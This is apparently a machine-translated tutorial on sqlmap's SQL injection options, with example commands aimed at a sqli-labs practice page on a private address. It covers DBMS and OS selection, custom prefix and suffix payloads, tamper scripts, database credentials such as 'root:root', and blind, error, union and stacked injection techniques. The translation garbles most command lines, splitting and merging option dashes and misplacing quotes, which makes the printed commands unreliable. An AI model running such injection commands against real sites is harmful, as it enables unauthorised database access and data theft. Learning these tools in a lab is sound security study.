How to parse sqlmap injection parameters
This article will explain in detail how to parse the sqlmap injection parameters, the content of the article is of high quality, so the editor will share it for you as a reference. I hope you will have some understanding of the relevant knowledge after reading this article.
1. Specify the database type-dbms
Http://192.168.1.121/sqli/Less-1/?id=1&&name=2-dbms mysql-dbs
2. Specify the operating system-- os
Http://192.168.1.121/sqli/Less-1/?id=1&&name=2-os windows-dbs
Third, solve the coding problem
Convert all results to strings and replace NULL results-- no-cast-- with spaces
Fourth, turn off the string escape mechanism
-- no-escape
Fifth, set invalid value replacement
-- invalid-bignum large integer substitution
-- invalid-logical Boolean operation replacement
-- invalid-string random string substitution
6. Custom injection load location
-- prefix sets the prefix
-- suffix sets the suffix
Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- prefix="')-- suffix= "and ('abc'='abc"-- dbs
Payload:id= ('1') and ('abc'='abc')
7. Set up tamper script
Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- tamper" least.py,varnish.py "--dbs
8. Set dbms authentication
Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- dbms-cred=" root:root "--dbs
9. Set up specific sql injection technology
-- technique B Boolean blind injection
-- technique E error injection
-- technique U union query injection
-- technique S stack injection
-- technique T time blind injection
-- technique Q inline query injection
Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-technique T-time-sec 3-dbs
-- time-sec time blind injection time is 3
Specify the number of union fields
Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- union-cols 12-18-- dbs
Specify union character. Default is null.
Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- union-char aaa-- dbs
On how to parse the sqlmap injection parameters to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
